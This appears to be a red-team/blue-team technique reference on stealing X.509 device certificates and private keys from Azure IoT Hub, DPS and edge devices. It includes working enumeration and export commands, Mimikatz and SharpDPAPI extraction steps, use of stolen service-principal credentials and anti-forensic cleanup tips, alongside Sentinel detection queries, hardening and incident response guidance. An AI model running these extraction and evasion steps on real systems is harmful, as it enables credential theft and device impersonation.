| Attribute | Details |
|---|---|
| Technique ID | CA-UNSC-018 |
| MITRE ATT&CK v18.1 | T1552.004 - Unsecured Credentials: Private Keys |
| Tactic | Credential Access |
| Platforms | Entra ID, Azure IoT Hub, Device Provisioning Service (DPS) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | Azure IoT Hub (all versions), DPS (all versions), Windows Server 2016-2025, IoT devices running Windows/Linux/embedded OS |
| Patched In | No patches available; requires architectural security improvements |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team), 8 (Splunk Detection), 11 (Sysmon Detection), and 13 (Microsoft Purview) not included because: (1) No official Atomic Red Team test exists for IoT certificate theft, (2) IoT certificate theft generates cloud-native logs (Sentinel/MDC), not Splunk WEC, (3) Sysmon is host-based but certificate extraction is cloud/device-provisioning focused, (4) Purview monitors M365 data, not IoT device certificates. All section numbers have been dynamically renumbered based on applicability.
IoT device certificates are X.509 digital credentials used to authenticate devices to Azure IoT Hub and Device Provisioning Service (DPS). Adversaries may search compromised IoT devices, edge gateways, or cloud provisioning systems to locate and exfiltrate these certificates. Once obtained, the attacker can impersonate legitimate devices, intercept telemetry, inject malicious commands, or pivot into connected enterprise networks. This technique exploits insecure certificate storage (filesystem, registry, memory), weak access controls on certificate stores, and insufficient monitoring of certificate lifecycle events.
Attack Surface: File systems (/etc/ssl/certs, C:\Certs, device provisioning APIs), certificate stores (Windows Certificate Store, TPM failure modes), Azure DPS APIs, device configuration files, cloud storage repositories, and memory dumps of device provisioning clients.
Business Impact: Complete device spoofing, command injection into IoT networks, data exfiltration from connected infrastructure, lateral movement into enterprise networks, and supply chain compromise. Stolen IoT certificates bypass device authentication entirely, allowing attackers to masquerade as trusted assets and maintain persistence across certificate rotation cycles. In critical infrastructure (utilities, healthcare, manufacturing), this translates to operational technology (OT) compromise and physical safety risks.
Technical Context: Certificate extraction typically requires prior device compromise (local admin/root access) or compromise of DPS enrollment services. Extraction can occur through direct filesystem access, DPAPI decryption (Windows machines), cryptographic API patching (Mimikatz), or memory forensics. Detection is challenging because legitimate certificate rotation and re-enrollment can mask malicious extraction.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 4.1.1, 4.3.1 | Ensure proper certificate and private key permissions; monitor certificate store access |
| DISA STIG | SI-4, SC-7 | Certificate management and cryptographic protection controls |
| CISA SCuBA | IoT-1.3 | Requires encrypted certificate storage and access control on device certificate stores |
| NIST 800-53 | IA-5(e) | Cryptographic device management and certificate lifecycle controls |
| NIST 800-207 | Zero Trust Model | Device identities must be verified continuously; certificate compromise breaks zero-trust model |
| GDPR | Art. 32 | Security of Processing - cryptographic certificate security is core technical measure |
| DORA | Art. 9 | Protection and Prevention - ICT operational resilience depends on device authentication |
| NIS2 | Art. 21 | Cyber Risk Management Measures - device identity and certificate management are essential |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights; A.10.2.6 Restriction on use of cryptographic keys |
| ISO 27005 | Risk Scenario 10 | “Compromise of Authentication Credentials” - certificate theft is direct credential compromise |
Required Privileges:
Required Access:
Supported Versions:
Tools:
# List all certificates in the device's personal store
Get-ChildItem -Path "Cert:\CurrentUser\My" | Select-Object Thumbprint, FriendlyName, Subject, NotAfter
# Filter for IoT-specific certificates (typically CN=device ID, issued by CA)
Get-ChildItem -Path "Cert:\CurrentUser\My" | Where-Object {
$_.Subject -match "CN=.*device" -or $_.Issuer -match "IoT|DPS|Azure"
}
# Check LocalMachine store (device-level certificates, requires admin)
Get-ChildItem -Path "Cert:\LocalMachine\My" | Select-Object Thumbprint, Subject, Issuer, NotAfter
What to Look For:
Subject CN= matching device IDsSuccess Indicator: Returns one or more certificates with HasPrivateKey = True and issuance date matching device provisioning time.
# Search for common certificate file extensions
$extensions = @("*.pfx", "*.pem", "*.cer", "*.crt", "*.p12", "*.p7b", "*.key")
foreach ($ext in $extensions) {
Get-ChildItem -Path "C:\", "C:\ProgramData", "C:\Users" -Recurse -Filter $ext -ErrorAction SilentlyContinue |
Select-Object FullName, LastWriteTime, Length
}
# Specifically check Azure IoT SDK paths
Get-ChildItem -Path "C:\Program Files\Azure IoT*" -Recurse -Filter "*.pfx" -ErrorAction SilentlyContinue
Get-ChildItem -Path "C:\ProgramData\Azure" -Recurse -Filter "*.pem" -ErrorAction SilentlyContinue
What to Look For:
.pfx files (PKCS#12 container with private key) in temp directories.pem files with “PRIVATE KEY” headers# Azure IoT Edge runtime configuration
Get-Content "C:\ProgramData\iotedge\config.toml" -ErrorAction SilentlyContinue | Select-String "cert_path|private_key"
# Azure IoT SDK sample applications
Get-Content "$env:TEMP\*.json" -Recurse -ErrorAction SilentlyContinue | Select-String "certificate|pfx|key"
# Azure Device Provisioning Service client logs
Get-Content "C:\Logs\dps_*.log" -ErrorAction SilentlyContinue | Select-String "cert_path|thumbprint"
Version Note: Configuration locations differ slightly:
C:\ProgramData pathsC:\ProgramFiles\Azure IoT with restricted ACLs# Search for certificate files
find /etc/ssl/certs /home /root /opt -name "*.pem" -o -name "*.pfx" -o -name "*.p12" 2>/dev/null | head -20
# Check Azure IoT Edge runtime paths
ls -la /var/lib/iotedge/devices/*/certs/ 2>/dev/null
cat /etc/iotedge/config.yaml 2>/dev/null | grep -i "cert\|key\|credential"
# Check environment variables for cert references
env | grep -i "cert\|key\|credential"
ps aux | grep -i "iot\|device" | grep -i "cert"
What to Look For:
.pem files in /etc/ssl/, /home, or /opt# Display certificate details
openssl x509 -in /etc/ssl/certs/device.pem -text -noout | grep -A2 "Subject:\|Issuer:\|Not After"
# Check for private keys (should not be readable)
find / -name "*.key" -perm /0004 2>/dev/null # World-readable keys
# List all certs and expiry
for cert in /etc/ssl/certs/*.pem; do
echo "=== $cert ===" && openssl x509 -in "$cert" -noout -subject -dates
done 2>/dev/null
# Authenticate to Azure
az login --service-principal -u <AppID> -p <Password> --tenant <TenantID>
# List all enrollment groups
az iot dps enrollment-group list --dps-name <DPS-Name> --resource-group <RG>
# Get specific enrollment group details with certificate thumbprint
az iot dps enrollment-group show --dps-name <DPS-Name> --resource-group <RG> \
--enrollment-id <EnrollmentGroupID>
# List certificates in DPS
az iot dps certificate list --dps-name <DPS-Name> --resource-group <RG>
# Export DPS root certificate (public only, but useful for validation)
az iot dps certificate download --dps-name <DPS-Name> --resource-group <RG> \
--certificate-name <CertName> --output-file root.cer
What to Look For:
# List all devices in IoT Hub
az iot hub device-identity list --hub-name <HubName>
# Get details on specific device
az iot hub device-identity show --hub-name <HubName> --device-id <DeviceID>
# Check certificate thumbprints registered to a device
az iot hub device-identity show --hub-name <HubName> --device-id <DeviceID> | \
jq '.authentication.x509.primaryThumbprint, .authentication.x509.secondaryThumbprint'
What to Look For:
Supported Versions: Windows Server 2016-2025, Windows 10/11 IoT
Objective: Gain local admin privileges on compromised IoT device or edge gateway.
Prerequisites: Initial compromise vector (RDP, exploit, physical access) must already be achieved.
Command:
# Verify administrator privileges
[bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")
# If not admin, attempt UAC bypass (if UAC is enabled but not hardened)
# Note: Requires specific conditions; varies by version
Start-Process powershell -Verb RunAs -ArgumentList "whoami /groups"
Expected Output:
True # If running as admin
What This Means:
True, you have local admin access and can proceed to certificate extractionFalse, UAC bypass or privilege escalation (e.g., PrintSpooler, PetitPotam) is required# List all certificates with private keys (these are usable for impersonation)
$certs = Get-ChildItem -Path "Cert:\LocalMachine\My" | Where-Object {
$_.HasPrivateKey -eq $true
}
$certs | Select-Object @{
Name="Thumbprint"; Expression={$_.Thumbprint}
}, @{
Name="Subject"; Expression={$_.Subject}
}, @{
Name="Issuer"; Expression={$_.Issuer}
}, @{
Name="NotAfter"; Expression={$_.NotAfter}
}, @{
Name="HasPrivateKey"; Expression={$_.HasPrivateKey}
} | Format-Table
Expected Output:
Thumbprint Subject Issuer NotAfter HasPrivateKey
---------- ------- ------ -------- ------
A1B2C3D4E5F6G7H8I9J0K1 CN=device-001,O=Contoso,C=US CN=Azure IoT,O=Microsoft 2026-12-31 23:59:59 True
What This Means:
HasPrivateKey = True can be exported and used for Kerberos authenticationIssuer containing “Azure”, “IoT”, or “DPS” indicates IoT Hub/DPS-issued certificatesNotAfter in the future means the certificate is still valid for impersonationVersion Note: Works identically on Server 2016-2025.
# Install NuGet-based cert export module if needed
$certThumbprint = "A1B2C3D4E5F6G7H8I9J0K1" # From previous enumeration
$cert = Get-Item -Path "Cert:\LocalMachine\My\$certThumbprint"
# Method 1: Using CertUtil (native Windows, no dependencies)
certutil -exportPFX -p "ExportPassword123!" "$cert.Thumbprint" "C:\Temp\device.pfx" nochain
# Method 2: Using PowerShell (if CertUtil fails due to export restrictions)
$pfxPassword = ConvertTo-SecureString -String "ExportPassword123!" -AsPlainText -Force
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\device.pfx" -Password $pfxPassword -Force
# Verify export
Test-Path "C:\Temp\device.pfx"
Expected Output:
True # File created successfully
OpSec & Evasion:
C:\Windows\Temp or $env:TEMP (log forwarding may not cover temp cleanup)c.pfx instead of device_cert_backup.pfx)Remove-Item "C:\Temp\device.pfx" -Force$ProgressPreference = 'SilentlyContinue'Troubleshooting:
Access to the registry path is denied
The certificate could not be exported
crypto::capi method (see METHOD 2)certutil -exportPFX instead of PowerShell Export-PfxCertificateFile already exists
Remove-Item "C:\Temp\device.pfx" -ForceReferences & Proofs:
# Convert PKCS#12 (PFX) to PEM format for use on Linux/IoT devices
# Requires OpenSSL installation on Windows or use WSL
# Option 1: WSL/Linux environment
wsl bash -c "openssl pkcs12 -in /mnt/c/Temp/device.pfx -out /mnt/c/Temp/device.pem -nodes -password pass:'ExportPassword123!'"
# Option 2: If OpenSSL is installed directly
openssl pkcs12 -in "C:\Temp\device.pfx" -out "C:\Temp\device.pem" -nodes -password pass:"ExportPassword123!"
# Verify conversion
Get-Content "C:\Temp\device.pem" | Select-String "BEGIN CERTIFICATE","BEGIN PRIVATE KEY"
Expected Output:
BEGIN PRIVATE KEY
-----BEGIN CERTIFICATE-----
What This Means:
Supported Versions: Windows Server 2016-2025 (all versions)
Prerequisites: Local SYSTEM privilege (run as administrator)
# Download Mimikatz (ensure you use official repository)
$MimikatzURL = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip"
Invoke-WebRequest -Uri $MimikatzURL -OutFile "C:\Temp\mimikatz.zip"
Expand-Archive "C:\Temp\mimikatz.zip" -DestinationPath "C:\Temp\mimikatz" -Force
# Execute Mimikatz in privileged process
cd "C:\Temp\mimikatz\x64"
.\mimikatz.exe
Expected Output:
mimikatz 2.2.0 (x64) built on May 19 2022 00:00:00
"A La Vie, A L'Amour" - (oe.eo)
mimikatz #
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # crypto::capi
mimikatz # crypto::certificates /export
Expected Output:
CryptoAPI context patched.
* Certificate 0: CN=device-001, Issued by CN=Azure IoT Device CA
> Exporting to file: 0_device-001.pfx
> Private key successfully extracted
What This Means:
OpSec & Evasion:
Remove-Item (Get-PSReadlineOption).HistorySavePath (PowerShell 5+)# Examine extracted PFX file
$pfxPath = "C:\Temp\mimikatz\x64\0_device-001.pfx"
# List contents (if OpenSSL available)
openssl pkcs12 -in $pfxPath -noout -info
# Or use PowerShell to import and verify
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 -ArgumentList $pfxPath, ""
$cert | Select-Object Thumbprint, Subject, NotAfter
References & Proofs:
Supported Versions: Azure IoT Hub, DPS (all versions)
Prerequisites: Compromised Entra ID service principal with permissions: Microsoft.Devices/iotHubs/read, Microsoft.Devices/provisioningServices/read
# Using stolen service principal credentials
$tenantId = "your-tenant-id"
$appId = "compromised-app-id"
$password = "stolen-password"
$credential = New-Object System.Management.Automation.PSCredential(
$appId,
(ConvertTo-SecureString $password -AsPlainText -Force)
)
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId
Expected Output:
Account SubscriptionName TenantId Environment
------- --------------- -------- -----------
<service-principal-id>@example.onmicrosoft.com ... AzureCloud
# List all DPS instances in the subscription
$dpsList = Get-AzIoTDeviceProvisioningService
foreach ($dps in $dpsList) {
Write-Host "DPS: $($dps.Name)"
# List all enrollment groups
$enrollmentGroups = Get-AzIoTDeviceProvisioningServiceEnrollmentGroup `
-ResourceGroupName $dps.ResourceGroupName `
-ProvisioningServiceName $dps.Name
foreach ($group in $enrollmentGroups) {
Write-Host "`n Enrollment Group: $($group.EnrollmentGroupId)"
Write-Host " Certificate Thumbprint: $($group.Certificates[0].Primary.Thumbprint)"
Write-Host " Status: $($group.ProvisioningStatus)"
}
}
What to Look For:
# Download the root CA certificate from DPS
# Note: Only PUBLIC key is available; this provides validation but not impersonation
$certName = "MyRootCA"
$dpsName = "my-dps-instance"
$resourceGroupName = "my-resource-group"
# Export certificate to file
$certPath = "C:\Temp\dps-root.cer"
# Using Azure CLI (alternative if PowerShell cmdlet unavailable)
az iot dps certificate download `
--dps-name $dpsName `
--resource-group $resourceGroupName `
--certificate-name $certName `
--output-file $certPath
# Examine certificate details
openssl x509 -in $certPath -text -noout | grep -A5 "Subject:\|Issuer:"
What This Reveals:
# Get IoT Hub instance
$iotHub = Get-AzIoTHub
# List all devices
$devices = Get-AzIoTHubDevice -ResourceGroupName $iotHub.ResourceGroupName `
-IotHubName $iotHub.Name
foreach ($device in $devices) {
$deviceAuth = Get-AzIoTHubDeviceConnectionString `
-ResourceGroupName $iotHub.ResourceGroupName `
-IotHubName $iotHub.Name `
-DeviceId $device.Id
Write-Host "Device: $($device.Id)"
if ($device.Authentication.Type -eq "Sas") {
Write-Host " Auth Type: Shared Access Signature (SAS)"
Write-Host " Key: [SENSITIVE]"
} elseif ($device.Authentication.Type -eq "Certificate") {
Write-Host " Auth Type: X.509 Certificate"
Write-Host " Primary Thumbprint: $($device.Authentication.X509Thumbprints.Primary)"
Write-Host " Secondary Thumbprint: $($device.Authentication.X509Thumbprints.Secondary)"
}
}
What This Reveals:
OpSec & Evasion:
Detection likelihood: High - Sentinel detects bulk certificate/device enumeration
References & Proofs:
Supported Versions: Windows Server 2016-2025 (machine-level certificates)
Prerequisites: SYSTEM privilege or ability to run as SYSTEM context
# Download SharpDPAPI (ensure sourced from official GhostPack repository)
# SharpDPAPI is a .NET tool that requires compilation or pre-built binary
# Run with SYSTEM privileges (via PsExec or privileged process)
# Example assumes binary is already available
.\SharpDPAPI.exe certificates /machine
Expected Output:
[*] Dumping machine DPAPI keys...
[*] User DPAPI Master Key: {GUID}
[*] Decrypting machine certificates...
[+] Certificate: CN=device-001
Subject: CN=device-001, O=Contoso
Issuer: CN=Azure IoT Device CA
Thumbprint: A1B2C3D4E5F6G7H8I9J0K1
Private Key: -----BEGIN PRIVATE KEY-----
...
-----END PRIVATE KEY-----
What This Means:
Troubleshooting:
Unable to decrypt DPAPI key
psexec.exe -i -s cmd.exe to spawn SYSTEM shell, then run SharpDPAPIReferences & Proofs:
Status: No official Atomic Red Team test for IoT certificate theft. Manual simulation recommended using steps in Section 5.
Version: 2.2.0+
Supported Platforms: Windows Server 2016-2025, Windows 10/11
Installation:
# Download from official GitHub releases
$url = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip"
Invoke-WebRequest -Uri $url -OutFile "mimikatz.zip"
Expand-Archive "mimikatz.zip" -DestinationPath ".\mimikatz"
cd .\mimikatz\x64
.\mimikatz.exe
Usage (Certificate Extraction):
mimikatz # privilege::debug
mimikatz # crypto::capi
mimikatz # crypto::certificates /export
Version: 1.1.1+
Installation (Windows):
# Via chocolatey
choco install openssl -y
# Or download from https://slproweb.com/products/Win32OpenSSL.html
Usage (Certificate Conversion):
# Convert PFX to PEM
openssl pkcs12 -in device.pfx -out device.pem -nodes -password pass:password
# Extract private key only
openssl pkcs12 -in device.pfx -nocerts -out private.key -password pass:password -passout pass:new_password
# View certificate details
openssl x509 -in device.pem -text -noout
Version: 2.50+
Installation:
# Windows
choco install azure-cli
# Linux/macOS
curl -sL https://aka.ms/InstallAzureCLIDeb | bash
Usage (DPS Certificate Management):
# List DPS certificates
az iot dps certificate list --dps-name <dps-name> --resource-group <rg>
# Download certificate
az iot dps certificate download --dps-name <dps-name> --certificate-name <cert-name> --output-file cert.cer
# List enrollment groups
az iot dps enrollment-group list --dps-name <dps-name> --resource-group <rg>
Version: 1.4.0+
Supported Platforms: Windows Server 2016-2025
Installation:
# Requires .NET Framework 4.0+
# Download pre-compiled binary or compile from GitHub
# Download and save to C:\Tools\
wget "https://github.com/GhostPack/SharpDPAPI/releases/download/v1.4.0/SharpDPAPI.exe" -OutFile SharpDPAPI.exe
Usage:
# List machine certificates
.\SharpDPAPI.exe certificates /machine
# Export specific certificate by thumbprint
.\SharpDPAPI.exe certificates /machine /thumbprint:A1B2C3D4E5F6G7H8I9J0K1
# Comprehensive local certificate enumeration and export
$certs = Get-ChildItem -Path "Cert:\LocalMachine\My" -Recurse | Where-Object {
$_.HasPrivateKey
}; $certs | ForEach-Object {
$pfxPath = "C:\Temp\$($_.Thumbprint).pfx"
$pfxPassword = ConvertTo-SecureString -String "P@ssw0rd123!" -AsPlainText -Force
Export-PfxCertificate -Cert $_ -FilePath $pfxPath -Password $pfxPassword -Force
Write-Host "Exported: $pfxPath"
}
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4885 // CertificateExported
| summarize ExportCount = count(), Thumbprints = make_set(ObjectName) by Computer, TargetUserName, TimeGenerated
| where ExportCount > 3 // Multiple exports suggest harvesting
| project TimeGenerated, Computer, TargetUserName, ExportCount, Thumbprints
What This Detects:
Manual Configuration Steps (Azure Portal):
Bulk Certificate Export DetectionHigh5 minutes30 minutesFalse Positive Analysis:
| where TargetUserName !in ("SYSTEM", "LOCAL SERVICE", "svc_iot*")Rule Configuration:
KQL Query:
AuditLogs
| where OperationName has_any ("Add enrollment", "Update enrollment", "Delete enrollment")
| where Category == "ResourceManagement"
| where Result == "Success"
| extend EnrollmentGroupId = TargetResources[0].displayName
| summarize EnrollmentChanges = count(), UniqueGroupsModified = dcount(EnrollmentGroupId) by InitiatedByUser, TimeGenerated
| where EnrollmentChanges > 5 // Bulk modifications
| project TimeGenerated, InitiatedByUser, EnrollmentChanges, UniqueGroupsModified
What This Detects:
Manual Configuration Steps:
60 minutes (enrollment changes are less frequent)Rule Configuration:
KQL Query:
AzureDiagnostics
| where ResourceType == "PROVISIONINGSERVICES"
| where OperationName == "Register Device"
| where ResultDescription contains "certificate" or ResultDescription contains "validation"
| where StatusCode >= 400 // 4xx errors (validation failures)
| summarize FailureCount = count(), FailedDevices = make_set(DeviceId) by bin(TimeGenerated, 5m), ResultDescription
| where FailureCount > 10 // Threshold for bulk failures
| project TimeGenerated, ResultDescription, FailureCount, FailedDevices
What This Detects:
Rule Configuration:
KQL Query (Event Log Based):
SecurityEvent
| where EventID == 4688 // Process Creation
| where NewProcessName has "mimikatz"
or CommandLine has "crypto::capi"
or CommandLine has "crypto::certificates"
or Image has "mimikatz"
| project TimeGenerated, Computer, NewProcessName, CommandLine, ParentProcessName
KQL Query (Defender for Endpoint):
DeviceProcessEvents
| where FileName == "mimikatz.exe"
or CommandLine has "crypto::capi"
or CommandLine has "crypto::certificates"
or ProcessVersionInfoProductName has "mimikatz"
| project TimeGenerated, DeviceName, FileName, CommandLine, InitiatingProcessName, InitiatingProcessParentFileName
What This Detects:
Event ID: 4885 (CertificateExported)
EventID == 4885 and (SubjectName has "device" or Issuer has "IoT")Manual Configuration Steps (Group Policy):
gpupdate /force on all IoT devicesManual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
Event ID: 4675 (SPN Check Failed)
Alert Name: IotIdentityExfiltration (proprietary Defender for IoT naming)
Manual Configuration Steps (Enable Defender for IoT):
Alert Tuning:
Action 1: Enforce Hardware Security Modules (HSM) for Certificate Storage
Migrant certificates from software-based Windows Certificate Store to TPM 2.0 (Trusted Platform Module) or Azure Key Vault HSM. Hardware-based keys cannot be extracted via DPAPI or Mimikatz.
Applies To Versions: Server 2016+ (with TPM 2.0), Azure Key Vault HSM (all cloud versions)
Manual Steps (Windows with TPM 2.0):
# Create CSR with TPM key storage provider
$params = @{
Subject = "CN=device-001"
KeyAlgorithm = "RSA"
KeyLength = 2048
KeyUsage = "KeyEncipherment,DataEncipherment,DigitalSignature"
KeyUsageProperty = "All"
EnrollmentFlag = "IncludeSymmetricAlgorithms"
PrivateKeyExportPolicy = "NonExportable" # KEY SETTING: Prevents extraction
KeySpec = "Signature"
}
New-SelfSignedCertificate @params
$cert = Get-ChildItem -Path "Cert:\LocalMachine\My" | Where-Object {$_.Subject -match "device-001"}
$cert.PrivateKey.Key | Get-Member -Name "CngKey" # Confirms TPM-backed key
Manual Steps (Azure IoT Hub with Key Vault HSM):
Microsoft Software Key Storage Provider → Change to Azure Dedicated HSMaz iot dps enrollment-group create \
--dps-name <dps-name> \
--enrollment-id <group-id> \
--certificate-path /dev/null \ # Don't store locally
--ca-name <keyvault-cert-name>
Validation Command:
# Verify certificate cannot be exported
$cert = Get-ChildItem -Path "Cert:\LocalMachine\My" | Select-Object -First 1
Export-PfxCertificate -Cert $cert -FilePath "test.pfx" -Password (ConvertTo-SecureString "test" -AsPlainText -Force) -ErrorAction Stop
# Should fail with: "Unable to export certificate with non-exportable private key"
Action 2: Disable Certificate Store Access for Non-Privileged Processes
Implement Windows Defender Application Control (WDAC) to restrict file access to certificate stores only by whitelisted processes (Azure IoT Edge runtime, DPS client, System services).
Applies To Versions: Server 2019+ (WDAC), Server 2016 (Group Policy File Access Auditing)
Manual Steps (Server 2022+ with WDAC):
# Generate baseline policy
New-CIPolicyFromTemplate -Template FixedWorkloadTemplate -FilePath "iot-cert-protection.xml"
# Edit XML: Add deny rule for non-whitelisted apps accessing Cert:\
# Deny: mimikatz.exe, certutil.exe, powershell.exe (except system contexts)
# Convert to binary format
ConvertFrom-CIPolicy -XmlFilePath "iot-cert-protection.xml" -BinaryFilePath "iot-cert-protection.cip"
# Deploy via Group Policy
Copy-Item "iot-cert-protection.cip" "\\domain\SYSVOL\Policies\{GUID}\Machine\Microsoft\Windows NT\Wdac\CodeIntegrity\SiPolicy.p7b"
gpupdate /force
Manual Steps (Server 2016-2019 with Group Policy):
C:\ProgramData\Microsoft\Crypto and C:\Users\*\AppData\Roaming\Microsoft\Crypto:
icacls "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys" /deny "Users:(F)" /grant "SYSTEM:(F)" /grant "Administrators:(F)"
icacls "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys" /inheritance:e
gpupdate /forceValidation Command:
# Verify non-admin user cannot access certificate keys
try {
Get-ChildItem -Path "Cert:\LocalMachine\My" -ErrorAction Stop | Export-PfxCertificate -FilePath "test.pfx" -ErrorAction Stop
} catch {
Write-Host "Access denied (expected): $_"
}
Action 3: Implement DPS Enrollment Locking and IP Whitelisting
Restrict DPS API access to specific IP ranges (corporate network, Azure services only). Prevent unauthorized re-enrollment or device registration.
Applies To Versions: Azure DPS (all versions)
Manual Steps:
203.0.113.0/24 (example, replace with real CIDR)AzureCloud service tagValidation Command:
# Test DPS connectivity from blocked IP (should fail)
az iot dps enrollment-group list --dps-name <dps-name> 2>&1 | grep -i "access"
Action 1: Enable Certificate Revocation Checking (CRL/OCSP)
Implement Online Certificate Status Protocol (OCSP) or Certificate Revocation Lists (CRL) to invalidate stolen device certificates within minutes.
Applies To Versions: Azure IoT Hub, DPS (all versions)
Manual Steps:
$dpsName = "my-dps"
$resourceGroup = "my-resource-group"
$caName = "root-ca"
# Enable revocation checking via Azure CLI
az iot dps certificate update \
--dps-name $dpsName \
--resource-group $resourceGroup \
--certificate-name $caName \
--crl-url "http://pki.company.com/crl.pem" # Specify CRL endpoint
Action 2: Implement Multi-Factor Authentication (MFA) for DPS Admin Access
Require MFA for any user or service principal accessing DPS enrollment, certificate, or device management APIs.
Applies To Versions: Entra ID, Azure DPS (all versions)
Manual Steps:
DPS Admin MFA RequirementValidation: Admin attempting DPS access will be prompted for MFA
Action 3: Enforce Certificate Pinning on Devices
Configure IoT devices to accept only specific root CA certificates (certificate pinning). Prevents MITM with stolen intermediate certificates.
Manual Steps (Azure IoT SDK - C#):
// In device provisioning client setup
using Microsoft.Azure.Devices.Provisioning.Client;
var transport = new ProvisioningTransportHandlerMqtt();
// Pin the root certificate
var rootCert = new X509Certificate2("path/to/root-ca.cer");
transport.TlsProtocolVersion = TlsProtocolVersion.Tls12;
// Use pinned certificate for validation
transport.SetClientCertificate(deviceCert); // Device cert
// Internally validates server cert against pinned root cert
var client = ProvisioningDeviceClient.Create(
"global.azure-devices-provisioning.net",
"0ne00000000",
new SecurityProviderX509Certificate(deviceCert),
transport);
Conditional Access Policies:
Policy 1: Block Legacy Authentication for DPS
Block Legacy Auth for IoT DPSRBAC/ABAC Hardening:
Implement least-privilege roles for DPS and IoT Hub access.
Manual Steps:
IoT Hub Data Contributor (least privilege alternative to Owner)Contributor or Owner on IoT HubIoT Hub Data Reader (read-only) or IoT Hub Data Contributor (modify enrollments, not policies)Validation Command:
# List overly-privileged role assignments
Get-AzRoleAssignment -ResourceGroupName <rg> -Scope "/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.Devices/IotHubs/<hub>" |
Where-Object {$_.RoleDefinitionName -in ("Owner", "Contributor")}
Files:
C:\Temp\*.pfx (certificate export artifacts)C:\Windows\Temp\mimikatz\x64\*.pfx (Mimikatz extraction outputs)/tmp/*.pem (Linux certificate exports)C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\* (unexpected access/copy)Registry:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\* (WinSock manipulation for MITM)HKCU\Software\Microsoft\Internet Explorer\Main (credential manager abuse)Network:
Cloud (Entra ID / Azure):
AzureDiagnostics table: Enrollment modifications by non-standard service principalsAuditLogs table: Certificate deletions followed by re-creation (indicator of rotation cover-up)Disk:
C:\Windows\System32\winevt\Logs\Security.evtx (events 4885, 4675)C:\Logs\dps_provisioning_*.logmimikatz.exe in $env:TEMP, history filesMemory:
lsass.exe process dump contains DPAPI master key and plaintext certificatesCloud Logs:
Device Provisioning Service:
Isolate:
Command (Disable Device Provisioning):
# Revoke compromised enrollment group from DPS
Remove-AzIoTDeviceProvisioningServiceEnrollmentGroup `
-ResourceGroupName <rg> `
-ProvisioningServiceName <dps> `
-EnrollmentGroupId <group-id> -Force
# Disable device in IoT Hub
Update-AzIoTHubDeviceStatus `
-ResourceGroupName <rg> `
-IotHubName <hub> `
-DeviceId <device-id> `
-DeviceStatus "disabled"
Manual Steps (Azure Portal):
Collect Evidence:
Command (Export Logs):
# Export Windows Security event log
wevtutil epl Security "C:\Evidence\Security.evtx"
# Export DPS provisioning logs
Get-AzDiagnosticSetting -ResourceGroupName <rg> -ResourceName <dps> |
Export-AzMetric -TimespanStart (Get-Date).AddDays(-7) -TimespanEnd (Get-Date) |
Export-Csv "C:\Evidence\dps_metrics.csv"
Manual Steps (Azure Portal):
Remediate:
Command (Regenerate Certificates):
# Revoke all old certificates from DPS
Get-AzIoTDeviceProvisioningServiceCertificate -ResourceGroupName <rg> -ProvisioningServiceName <dps> |
Where-Object {$_.NotAfter -lt (Get-Date)} | # Expired
ForEach-Object {
Remove-AzIoTDeviceProvisioningServiceCertificate -ResourceGroupName <rg> -ProvisioningServiceName <dps> -Name $_.Name
}
# Re-enroll device with fresh certificate
# Device must request new certificate from CA and re-provision with DPS
Manual Steps:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [CA-UNSC-014] | Enumerate Azure IoT Hub and DPS instances in target organization |
| 2 | Initial Access | [T1566.002] Phishing - Spearphishing Link | Trick IoT device administrator into compromising device via RDP/SSH |
| 3 | Execution | [T1059.001] PowerShell | Execute certificate enumeration and extraction scripts on compromised device |
| 4 | Credential Access | [CA-UNSC-018] | Extract X.509 device certificates from local store, DPS APIs, or memory |
| 5 | Lateral Movement | [T1570] Lateral Tool Transfer | Transfer stolen certificates to attacker infrastructure |
| 6 | Persistence | [CA-UNSC-019] | Register attacker-controlled devices using stolen certificates; maintain access via certificate impersonation |
| 7 | Impact | [T1561] Disk Wipe | Send malicious OTA updates to all devices using spoofed identity; trigger device factory resets |
IoT device certificate theft represents a critical threat to cloud-connected device infrastructure. Stolen X.509 certificates enable attackers to:
Key Defensive Priorities:
Compliance Impact: Organizations managing IoT devices must ensure certificate security per ISO 27001 A.10.2.6, NIST 800-53 IA-5, and EU DORA Article 9. Failure to protect device certificates results in regulatory fines and operational technology compromise.